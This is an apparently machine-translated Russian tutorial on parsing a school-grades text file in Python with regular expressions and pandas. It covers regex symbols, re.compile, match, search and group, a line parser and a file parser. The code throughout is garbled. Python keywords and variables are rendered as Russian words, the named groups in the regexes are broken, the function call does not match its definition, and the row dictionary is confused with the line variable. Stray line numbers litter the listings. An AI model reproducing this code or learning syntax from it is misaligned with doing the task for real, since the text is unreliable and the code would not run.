ΠΎΡ‚Π»ΠΈΡ‡Π½Ρ‹ΠΉ рСсурс для тСстирования вашСго рСгулярного выраТСния.

Нам понадобятся Ρ‚Ρ€ΠΈ рСгулярных выраТСния. ΠŸΠ΅Ρ€Π²Ρ‹ΠΉ, ΠΊΠ°ΠΊ ΠΏΠΎΠΊΠ°Π·Π°Π½ΠΎ Π½ΠΈΠΆΠ΅, ΠΏΠΎΠΌΠΎΠΆΠ΅Ρ‚ Π½Π°ΠΌ ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΡ†ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ ΡˆΠΊΠΎΠ»Ρƒ. Π•Π³ΠΎ рСгулярноС Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ - School = (. *) \ N .Π§Ρ‚ΠΎ ΠΎΠ·Π½Π°Ρ‡Π°ΡŽΡ‚ символы?

  • . : любой символ
  • * : 0 ΠΈΠ»ΠΈ Π±ΠΎΠ»Π΅Π΅ ΠΈΠ· ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰Π΅Π³ΠΎ выраТСния
  • (. *) : ΠŸΠΎΠΌΠ΅Ρ‰Π΅Π½ΠΈΠ΅ части рСгулярного выраТСния Π² ΠΊΡ€ΡƒΠ³Π»Ρ‹Π΅ скобки позволяСт ΡΠ³Ρ€ΡƒΠΏΠΏΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ эту Ρ‡Π°ΡΡ‚ΡŒ выраТСния. Π˜Ρ‚Π°ΠΊ, Π² Π΄Π°Π½Π½ΠΎΠΌ случаС сгруппированная Ρ‡Π°ΡΡ‚ΡŒ - это Π½Π°Π·Π²Π°Π½ΠΈΠ΅ ΡˆΠΊΠΎΠ»Ρ‹.
  • \ n : символ Π½ΠΎΠ²ΠΎΠΉ строки Π² ΠΊΠΎΠ½Ρ†Π΅ строки

Π—Π°Ρ‚Π΅ΠΌ Π½Π°ΠΌ понадобится рСгулярноС Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ для ΠΎΡ†Π΅Π½ΠΊΠΈ. Π•Π³ΠΎ рСгулярноС Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ - Grade = (\ d +) \ n .Π­Ρ‚ΠΎ ΠΎΡ‡Π΅Π½ΡŒ ΠΏΠΎΡ…ΠΎΠΆΠ΅ Π½Π° ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰Π΅Π΅ Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅. НовыС символы:

  • \ d : сокращСниС ΠΎΡ‚ [0-9]
  • + : 1 ΠΈΠ»ΠΈ Π±ΠΎΠ»Π΅Π΅ ΠΈΠ· ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰Π΅Π³ΠΎ выраТСния

НаконСц, Π½Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ рСгулярноС Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒ, являСтся Π»ΠΈ Ρ‚Π°Π±Π»ΠΈΡ†Π°, ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π°Ρ Π·Π° Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ΠΌ Π² тСкстовом Ρ„Π°ΠΉΠ»Π΅, Ρ‚Π°Π±Π»ΠΈΡ†Π΅ΠΉ ΠΈΠΌΠ΅Π½ ΠΈΠ»ΠΈ ΠΎΡ†Π΅Π½ΠΎΠΊ. Π•Π³ΠΎ рСгулярноС Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ - (Имя | ΠžΡ†Π΅Π½ΠΊΠ°) . Новый символ:

  • | : Π»ΠΎΠ³ΠΈΠΊΠ° ΠΈΠ»ΠΈ ΡƒΡ‚Π²Π΅Ρ€ΠΆΠ΄Π΅Π½ΠΈΠ΅, поэтому Π² Π΄Π°Π½Π½ΠΎΠΌ случаС это ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚ «Имя» ΠΈΠ»ΠΈ Β«ΠžΡ†Π΅Π½ΠΊΠ°Β».’

Нам Ρ‚Π°ΠΊΠΆΠ΅ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ ΠΏΠΎΠ½ΠΈΠΌΠ°Ρ‚ΡŒ нСсколько Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ рСгулярных Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠΉ:

  • re.compile (шаблон) : ΡΠΊΠΎΠΌΠΏΠΈΠ»ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ шаблон рСгулярного выраТСния Π² RegexObject.

A RegexObject ΠΈΠΌΠ΅Π΅Ρ‚ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠ΅ ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹:

  • match (string) : Если Π½Π°Ρ‡Π°Π»ΠΎ строки совпадаСт с рСгулярным Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ΠΌ, Π²Π΅Ρ€Π½ΡƒΡ‚ΡŒ ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠΉ экзСмпляр MatchObject . Π’ ΠΏΡ€ΠΎΡ‚ΠΈΠ²Π½ΠΎΠΌ случаС Π²Π΅Ρ€Π½ΠΈΡ‚Π΅ НСт .
  • search (строка) : ΡΠΊΠ°Π½ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ строку Π² поисках мСста, Π³Π΄Π΅ это рСгулярноС Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ Π΄Π°Π»ΠΎ совпадСниС, ΠΈ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Ρ‚ΡŒ ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠΉ экзСмпляр MatchObject .Π’Π΅Ρ€Π½ΡƒΡ‚ΡŒ НСт , Ссли совпадСний Π½Π΅Ρ‚.

MatchObject всСгда ΠΈΠΌΠ΅Π΅Ρ‚ логичСскоС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ True . Π’Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, ΠΌΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ просто ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€ if для опрСдСлСния ΠΏΠΎΠ»ΠΎΠΆΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Ρ… совпадСний. Π˜ΠΌΠ΅Π΅Ρ‚ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ ΠΌΠ΅Ρ‚ΠΎΠ΄:

  • group () : Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ ΠΎΠ΄Π½Ρƒ ΠΈΠ»ΠΈ нСсколько ΠΏΠΎΠ΄Π³Ρ€ΡƒΠΏΠΏ совпадСния. На Π³Ρ€ΡƒΠΏΠΏΡ‹ ΠΌΠΎΠΆΠ½ΠΎ ΡΡΡ‹Π»Π°Ρ‚ΡŒΡΡ ΠΏΠΎ ΠΈΡ… индСксу. group (0) Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ всС совпадСниС. group (1) Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ ΠΏΠ΅Ρ€Π²ΡƒΡŽ ΠΏΠΎΠ΄Π³Ρ€ΡƒΠΏΠΏΡƒ Π² скобках ΠΈ Ρ‚Π°ΠΊ Π΄Π°Π»Π΅Π΅.Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡ‹Π΅ Π½Π°ΠΌΠΈ рСгулярныС выраТСния ΠΈΠΌΠ΅ΡŽΡ‚ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΎΠ΄Π½Ρƒ Π³Ρ€ΡƒΠΏΠΏΡƒ. Π›Π΅Π³ΠΊΠΎ! Однако Ρ‡Ρ‚ΠΎ, Ссли Π±Ρ‹Π»ΠΎ нСсколько Π³Ρ€ΡƒΠΏΠΏ? Π‘Ρ‹Π»ΠΎ Π±Ρ‹ слоТно Π²ΡΠΏΠΎΠΌΠ½ΠΈΡ‚ΡŒ, ΠΊ ΠΊΠ°ΠΊΠΎΠΌΡƒ Π½ΠΎΠΌΠ΅Ρ€Ρƒ ΠΏΡ€ΠΈΠ½Π°Π΄Π»Π΅ΠΆΠΈΡ‚ Π³Ρ€ΡƒΠΏΠΏΠ°. Π‘ΠΏΠ΅Ρ†ΠΈΡ„ΠΈΡ‡Π½ΠΎΠ΅ для Python Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΠ΅ позволяСт Π½Π°ΠΌ Π½Π°Π·Ρ‹Π²Π°Ρ‚ΡŒ Π³Ρ€ΡƒΠΏΠΏΡ‹ ΠΈ вмСсто этого ΡΡΡ‹Π»Π°Ρ‚ΡŒΡΡ Π½Π° Π½ΠΈΡ… ΠΏΠΎ ΠΈΠΌΠ΅Π½ΠΈ. ΠœΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒ имя Π² Π·Π°ΠΊΠ»ΡŽΡ‡Π΅Π½Π½ΠΎΠΉ Π² скобки Π³Ρ€ΡƒΠΏΠΏΠ΅ (...) , Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€: (? P ...) .

Π”Π°Π²Π°ΠΉΡ‚Π΅ сначала ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΠΌ всС рСгулярныС выраТСния. ΠžΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ Π½Π΅ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Π°Π½Π½Ρ‹Π΅ строки для рСгулярного выраТСния, Ρ‚.Π΅. ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ индСкс r ΠΏΠ΅Ρ€Π΅Π΄ ΠΊΠ°ΠΆΠ΄Ρ‹ΠΌ шаблоном.

  1234567  
  # Π½Π°ΡΡ‚Ρ€ΠΎΠΈΡ‚ΡŒ рСгулярныС выраТСния
# ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ https://regexper.com для Π²ΠΈΠ·ΡƒΠ°Π»ΠΈΠ·Π°Ρ†ΠΈΠΈ ΠΏΡ€ΠΈ нСобходимости
rx_dict = {
    'школа': re.compile (r'School = (? P . *) \ n '),
    'ΠΎΡ†Π΅Π½ΠΊΠ°': re.compile (r'Grade = (? P  \ d +) \ n '),
    'name_score': re.compile (r '(? P  Имя | ΠžΡ†Π΅Π½ΠΊΠ°)'),
}  

Π¨Π°Π³ 4. ΠΠ°ΠΏΠΈΡˆΠΈΡ‚Π΅ синтаксичСский Π°Π½Π°Π»ΠΈΠ·Π°Ρ‚ΠΎΡ€ строки

Π—Π°Ρ‚Π΅ΠΌ ΠΌΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ, которая провСряСт совпадСния рСгулярных Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠΉ.

  1 2 3 4 5 6 7 8 

1213

  def _parse_line (строка):
    "" "
    Π’Ρ‹ΠΏΠΎΠ»Π½ΠΈΡ‚Π΅ поиск рСгулярных Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠΉ ΠΏΠΎ всСм ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΌ рСгулярным выраТСниям ΠΈ
    Π²Π΅Ρ€Π½ΡƒΡ‚ΡŒ ΠΊΠ»ΡŽΡ‡ ΠΈ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ соотвСтствия ΠΏΠ΅Ρ€Π²ΠΎΠ³ΠΎ ΡΠΎΠ²ΠΏΠ°Π΄Π°ΡŽΡ‰Π΅Π³ΠΎ рСгулярного выраТСния

    "" "

    для ΠΊΠ»ΡŽΡ‡Π°, rx Π² rx_dict.items ():
        match = rx.search (строка)
        Ссли совпадСниС:
            ΠΊΠ»ΡŽΡ‡ Π²ΠΎΠ·Π²Ρ€Π°Ρ‚Π°, совпадСниС
    # Ссли совпадСний Π½Π΅Ρ‚
    Π²ΠΎΠ·Π²Ρ€Π°Ρ‚ НСт, НСт  

Π¨Π°Π³ 5: ΠΠ°ΠΏΠΈΡˆΠΈΡ‚Π΅ Π°Π½Π°Π»ΠΈΠ·Π°Ρ‚ΠΎΡ€ Ρ„Π°ΠΉΠ»Π°

НаконСц, для Π³Π»Π°Π²Π½ΠΎΠ³ΠΎ события Ρƒ нас Π΅ΡΡ‚ΡŒ функция парсСра Ρ„Π°ΠΉΠ»ΠΎΠ².Он довольно большой, Π½ΠΎ, надСюсь, ΠΊΠΎΠΌΠΌΠ΅Π½Ρ‚Π°Ρ€ΠΈΠΈ Π² ΠΊΠΎΠ΄Π΅ ΠΏΠΎΠΌΠΎΠ³ΡƒΡ‚ Π²Π°ΠΌ ΠΏΠΎΠ½ΡΡ‚ΡŒ Π»ΠΎΠ³ΠΈΠΊΡƒ.

  1 2 3 4 5 6 7 8 

121314151617181

2223242526272829303132333435363738394041424344454647484950515253545556575859606162636465  
  def parse_file (ΠΏΡƒΡ‚ΡŒ ΠΊ Ρ„Π°ΠΉΠ»Ρƒ):
    "" "
    ΠΠ½Π°Π»ΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ тСкст ΠΏΠΎ Π·Π°Π΄Π°Π½Π½ΠΎΠΌΡƒ ΠΏΡƒΡ‚ΠΈ ΠΊ Ρ„Π°ΠΉΠ»Ρƒ

    ΠŸΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Ρ‹
    ----------
    ΠΏΡƒΡ‚ΡŒ ΠΊ Ρ„Π°ΠΉΠ»Ρƒ: str
        ΠŸΡƒΡ‚ΡŒ ΠΊ Ρ„Π°ΠΉΠ»Ρƒ для Π°Π½Π°Π»ΠΈΠ·ΠΈΡ€ΡƒΠ΅ΠΌΠΎΠ³ΠΎ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°_Ρ„Π°ΠΉΠ»Π°

    Π’ΠΎΠ·Π²Ρ€Π°Ρ‚
    -------
    Π΄Π°Π½Π½Ρ‹Π΅: pd.DataFrame
        ΠŸΡ€ΠΎΠ°Π½Π°Π»ΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹Π΅ Π΄Π°Π½Π½Ρ‹Π΅

    "" "

    data = [] # создаСм пустой список для сбора Π΄Π°Π½Π½Ρ‹Ρ…
    # ΠΎΡ‚ΠΊΡ€Ρ‹Ρ‚ΡŒ Ρ„Π°ΠΉΠ» ΠΈ ΠΏΡ€ΠΎΡ‡ΠΈΡ‚Π°Ρ‚ΡŒ Π΅Π³ΠΎ построчно
    с open (ΠΏΡƒΡ‚ΡŒ ΠΊ Ρ„Π°ΠΉΠ»Ρƒ, 'r') ΠΊΠ°ΠΊ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚_Ρ„Π°ΠΉΠ»Π°:
        строка = file_object.readline ()
        Π° строка:
            # Π² ΠΊΠ°ΠΆΠ΄ΠΎΠΉ строкС ΠΏΡ€ΠΎΠ²Π΅Ρ€ΡΡ‚ΡŒ совпадСниС с рСгулярным Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ΠΌ
            ΠΊΠ»ΡŽΡ‡, совпадСниС = _parse_line (строка)

            # ΠΈΠ·Π²Π»Π΅Ρ‡ΡŒ Π½Π°Π·Π²Π°Π½ΠΈΠ΅ ΡˆΠΊΠΎΠ»Ρ‹
            Ссли ΠΊΠ»ΡŽΡ‡ == 'школа':
                школа = match.group ('школа')

            # ΠΎΡ†Π΅Π½ΠΊΠ° извлСчСния
            Ссли ΠΊΠ»ΡŽΡ‡ == 'ΠΎΡ†Π΅Π½ΠΊΠ°':
                ΠΎΡ†Π΅Π½ΠΊΠ° = совпадСниС.Π³Ρ€ΡƒΠΏΠΏΠ° ('ΠΎΡ†Π΅Π½ΠΊΠ°')
                grade = int (ΠΎΡ†Π΅Π½ΠΊΠ°)

            # ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ Ρ‚Π°Π±Π»ΠΈΡ†Ρ‹
            Ссли key == 'name_score':
                # ΠΈΠ·Π²Π»Π΅Ρ‡ΡŒ Ρ‚ΠΈΠΏ Ρ‚Π°Π±Π»ΠΈΡ†Ρ‹, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, имя ΠΈΠ»ΠΈ счСт
                value_type = match.group ('name_score')
                строка = file_object.readline ()
                # Ρ‡ΠΈΡ‚Π°Π΅ΠΌ ΠΊΠ°ΠΆΠ΄ΡƒΡŽ строку Ρ‚Π°Π±Π»ΠΈΡ†Ρ‹ Π΄ΠΎ пустой строки
                Π² Ρ‚ΠΎ врСмя ΠΊΠ°ΠΊ line.strip ():
                    # ΠΈΠ·Π²Π»Π΅Ρ‡ΡŒ число ΠΈ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅
                    число, Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ = line.strip (). split (',')
                    Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ = Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅.полоска()
                    # ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ ΡΠ»ΠΎΠ²Π°Ρ€ΡŒ, содСрТащий эту строку Π΄Π°Π½Π½Ρ‹Ρ…
                    row = {
                        'Школа': школа,
                        Β«ΠžΡ†Π΅Π½ΠΊΠ°Β»: ΠΎΡ†Π΅Π½ΠΊΠ°,
                        'НомСр ΡƒΡ‡Π΅Π½ΠΈΠΊΠ°': Π½ΠΎΠΌΠ΅Ρ€,
                        value_type: Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅
                    }
                    # Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ ΡΠ»ΠΎΠ²Π°Ρ€ΡŒ Π² список Π΄Π°Π½Π½Ρ‹Ρ…
                    data.append (строка)
                    строка = file_object.readline ()

            строка = file_object.readline ()

        # создаСм DataFrame pandas из списка dicts
        Π΄Π°Π½Π½Ρ‹Π΅ = pd.DataFrame (Π΄Π°Π½Π½Ρ‹Π΅)
        # ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ ΡˆΠΊΠΎΠ»Ρƒ, класс ΠΈ Π½ΠΎΠΌΠ΅Ρ€ студСнта Π² качСствС индСкса
        data.set_index (['Π¨ΠΊΠΎΠ»Π°', 'ΠžΡ†Π΅Π½ΠΊΠ°', 'НомСр учащСгося'], inplace = True)
        # консолидируйтС df, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠ΄Π°Π»ΠΈΡ‚ΡŒ nans
        data = data.groupby (level = data.index.names) .first ()
        # ΠΎΠ±Π½ΠΎΠ²ΠΈΡ‚ΡŒ Ρ€Π΅ΠΉΡ‚ΠΈΠ½Π³ с числа с ΠΏΠ»Π°Π²Π°ΡŽΡ‰Π΅ΠΉ Ρ‚ΠΎΡ‡ΠΊΠΎΠΉ Π΄ΠΎ Ρ†Π΅Π»ΠΎΠ³ΠΎ числа
        data = data.apply (pd.to_numeric, errors = 'ignore')
    Π²Π΅Ρ€Π½ΡƒΡ‚ΡŒ Π΄Π°Π½Π½Ρ‹Π΅  

Π¨Π°Π³ 6. ΠŸΡ€ΠΎΡ‚Π΅ΡΡ‚ΠΈΡ€ΡƒΠΉΡ‚Π΅ синтаксичСский Π°Π½Π°Π»ΠΈΠ·Π°Ρ‚ΠΎΡ€

.

ΠœΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ наш синтаксичСский Π°Π½Π°Π»ΠΈΠ·Π°Ρ‚ΠΎΡ€ для нашСго ΠΎΠ±Ρ€Π°Π·Ρ†Π° тСкста ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ:

  1234  
 , Ссли __name__ == '__main__':
    filepath = 'ΠΎΠ±Ρ€Π°Π·Π΅Ρ†.тСкст'
    data = parse (ΠΏΡƒΡ‚ΡŒ ΠΊ Ρ„Π°ΠΉΠ»Ρƒ)
    ΠΏΠ΅Ρ‡Π°Ρ‚ΡŒ (Π΄Π°Π½Π½Ρ‹Π΅)  
  Имя ΠžΡ†Π΅Π½ΠΊΠ°
НомСр школьного класса
Π₯огвартс 1 0 Π”ΠΆΠΈΠ½Π½ΠΈ 8
                     1 Π›ΡƒΠ½Π° 7
               2 0 Π“Π°Ρ€Ρ€ΠΈ 5
                     1 Π“Π΅Ρ€ΠΌΠΈΠΎΠ½Π° 10
               3 0 Π€Ρ€Π΅Π΄ 0
                     1 Π“Π΅ΠΎΡ€Π³ΠΈΠΉ 0
Π ΠΈΠ²Π΅Ρ€Π΄Π΅ΠΉΠ» Π₯Π°ΠΉ 1 0 Π€ΠΈΠ±ΠΈ 3
                     1 РэйчСл 7
               2 0 АндТСла 6
                     1 Вристан 3
                     2 Аврора 9
  

Π­Ρ‚ΠΎ всС Ρ…ΠΎΡ€ΠΎΡˆΠΎ, ΠΈ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ, сравнив Π²Π²ΠΎΠ΄ ΠΈ Π²Ρ‹Π²ΠΎΠ΄ Π½Π° Π³Π»Π°Π·, Ρ‡Ρ‚ΠΎ синтаксичСский Π°Π½Π°Π»ΠΈΠ·Π°Ρ‚ΠΎΡ€ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎ.Однако Π»ΡƒΡ‡ΡˆΠ΅ всСго всСгда ΠΏΠΈΡΠ°Ρ‚ΡŒ ΠΌΠΎΠ΄ΡƒΠ»ΡŒΠ½Ρ‹Π΅ тСсты, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠ±Π΅Π΄ΠΈΡ‚ΡŒΡΡ, Ρ‡Ρ‚ΠΎ ваш ΠΊΠΎΠ΄ выполняСт Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ Π²Ρ‹ Ρ…ΠΎΡ‚Π΅Π»ΠΈ. ΠšΠ°ΠΆΠ΄Ρ‹ΠΉ Ρ€Π°Π·, ΠΊΠΎΠ³Π΄Π° Π²Ρ‹ ΠΏΠΈΡˆΠ΅Ρ‚Π΅ синтаксичСский Π°Π½Π°Π»ΠΈΠ·Π°Ρ‚ΠΎΡ€, ΡƒΠ±Π΅Π΄ΠΈΡ‚Π΅ΡΡŒ, Ρ‡Ρ‚ΠΎ ΠΎΠ½ Ρ…ΠΎΡ€ΠΎΡˆΠΎ протСстирован. Π£ мСня Π²ΠΎΠ·Π½ΠΈΠΊΠ»ΠΈ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡ‹ с ΠΌΠΎΠΈΠΌΠΈ ΠΊΠΎΠ»Π»Π΅Π³Π°ΠΌΠΈ ΠΈΠ·-Π·Π° Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎ я использовал парсСры Π±Π΅Π· тСстирования Ρ€Π°Π½Π΅Π΅. Π£Π³Ρƒ! Π’Π°ΠΊΠΆΠ΅ стоит ΠΎΡ‚ΠΌΠ΅Ρ‚ΠΈΡ‚ΡŒ, Ρ‡Ρ‚ΠΎ это Π½Π΅ ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Ρ‚ΡŒ послСдний шаг. Π”Π΅ΠΉΡΡ‚Π²ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ, ΠΌΠ½ΠΎΠ³ΠΈΠ΅ программисты ΠΏΡ€ΠΎΠΏΠΎΠ²Π΅Π΄ΡƒΡŽΡ‚ Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΡƒ Ρ‡Π΅Ρ€Π΅Π· тСстированиС. Π― Π½Π΅ Π²ΠΊΠ»ΡŽΡ‡ΠΈΠ» сюда Π½Π°Π±ΠΎΡ€ тСстов, Ρ‚Π°ΠΊ ΠΊΠ°ΠΊ Ρ…ΠΎΡ‚Π΅Π», Ρ‡Ρ‚ΠΎΠ±Ρ‹ это руководство Π±Ρ‹Π»ΠΎ ΠΊΡ€Π°Ρ‚ΠΊΠΈΠΌ.

Π― Ρ€Π°Π·Π±ΠΈΡ€Π°Π» тСкстовыС Ρ„Π°ΠΉΠ»Ρ‹ Π² Ρ‚Π΅Ρ‡Π΅Π½ΠΈΠ΅ Π³ΠΎΠ΄Π° ΠΈ со Π²Ρ€Π΅ΠΌΠ΅Π½Π΅ΠΌ ΡƒΡΠΎΠ²Π΅Ρ€ΡˆΠ΅Π½ΡΡ‚Π²ΠΎΠ²Π°Π» свой ΠΌΠ΅Ρ‚ΠΎΠ΄. Π’Π΅ΠΌ Π½Π΅ ΠΌΠ΅Π½Π΅Π΅, я ΠΏΡ€ΠΎΠ²Π΅Π» Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠ΅ исслСдованиС, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠ·Π½Π°Ρ‚ΡŒ, Π΅ΡΡ‚ΡŒ Π»ΠΈ Π»ΡƒΡ‡ΡˆΠ΅Π΅ Ρ€Π΅ΡˆΠ΅Π½ΠΈΠ΅. Π’ самом Π΄Π΅Π»Π΅, я Π΄ΠΎΠ»ΠΆΠ΅Π½ ΠΏΠΎΠ±Π»Π°Π³ΠΎΠ΄Π°Ρ€ΠΈΡ‚ΡŒ Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Ρ… Ρ‡Π»Π΅Π½ΠΎΠ² сообщСства, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ посовСтовали ΠΌΠ½Π΅ ΠΎΠΏΡ‚ΠΈΠΌΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ ΠΌΠΎΠΉ ΠΊΠΎΠ΄. БообщСство Ρ‚Π°ΠΊΠΆΠ΅ ΠΏΡ€Π΅Π΄Π»ΠΎΠΆΠΈΠ»ΠΎ нСсколько Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Ρ… способов синтаксичСского Π°Π½Π°Π»ΠΈΠ·Π° тСкстового Ρ„Π°ΠΉΠ»Π°. НСкоторыС ΠΈΠ· Π½ΠΈΡ… Π±Ρ‹Π»ΠΈ ΡƒΠΌΠ½Ρ‹ΠΌΠΈ ΠΈ интСрСсными. Моим Π»ΠΈΡ‡Π½Ρ‹ΠΌ Ρ„Π°Π²ΠΎΡ€ΠΈΡ‚ΠΎΠΌ Π±Ρ‹Π» этот. Π― прСдставил свой ΠΏΡ€ΠΈΠΌΠ΅Ρ€ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡ‹ ΠΈ Ρ€Π΅ΡˆΠ΅Π½ΠΈΡ Π½Π° Ρ„ΠΎΡ€ΡƒΠΌΠ°Ρ… Π½ΠΈΠΆΠ΅:

  1. ΠŸΠΎΡΡ‚ Π½Π° Reddit
  2. Π‘ΠΎΠΎΠ±Ρ‰Π΅Π½ΠΈΠ΅ Stackoverflow
  3. Π‘ΠΎΠΎΠ±Ρ‰Π΅Π½ΠΈΠ΅ с ΠΎΠ±Π·ΠΎΡ€ΠΎΠΌ ΠΊΠΎΠ΄Π°

Если ваша ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΠ° Π΅Ρ‰Π΅ Π±ΠΎΠ»Π΅Π΅ слоТная ΠΈ рСгулярныС выраТСния Π΅Π΅ Π½Π΅ Ρ€Π΅ΡˆΠ°ΡŽΡ‚, Ρ‚ΠΎ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΌ шагом Π±ΡƒΠ΄Π΅Ρ‚ Π°Π½Π°Π»ΠΈΠ· Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊ.Π’ΠΎΡ‚ нСсколько мСст для Π½Π°Ρ‡Π°Π»Π°:

  1. Π Π°Π·Π±ΠΎΡ€ уТасных Π²Π΅Ρ‰Π΅ΠΉ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ Python:
